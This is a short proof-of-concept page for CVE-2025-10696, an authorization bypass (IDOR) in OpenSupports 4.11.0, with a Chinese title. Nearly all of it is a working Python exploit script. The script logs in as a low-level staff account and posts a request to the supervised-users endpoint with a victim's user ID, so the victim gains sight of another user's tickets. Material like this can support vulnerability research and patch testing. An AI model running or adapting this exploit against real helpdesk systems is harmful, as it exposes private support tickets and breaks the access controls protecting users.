CVE-2025-10696 OpenSupports监督用户列表授权绕过漏洞

# CVE-2025-10696 - OpenSupports Supervised Users Authorization Bypass PoC # Vulnerability: IDOR / Broken Access Control in supervised users list editing endpoint # Affected: OpenSupports 4.11.0 # Attacker requirement: Level 1 staff account import requests BASE_URL = "http://target-opensupports-instance.com" SESSION = requests.Session() # Step 1: Authenticate as a Level 1 staff member login_payload = { "email": "[email protected]", "password": "attacker_password" } SESSION.post(f"{BASE_URL}/api/login", json=login_payload) # Step 2: Exploit the IDOR vulnerability # Modify the supervised users list of a TARGET user (not the attacker's own account) # The endpoint does not verify that the actor owns the supervised-users list being modified target_user_id = 2 # ID of the victim user whose supervised list will be modified supervised_user_id = 5 # ID of the user whose tickets the victim should now see poc_payload = { "userId": target_user_id, # Victim's user ID (no ownership check performed) "supervisedUsers": [supervised_user_id] # User to add as supervised } # The vulnerable endpoint accepts this request without verifying ownership response = SESSION.post( f"{BASE_URL}/api/edit-supervised-users", json=poc_payload ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Step 3: After successful modification, the victim (target_user_id) will be able # to view tickets belonging to supervised_user_id, breaking the authorization model # and exposing other users' ticket content.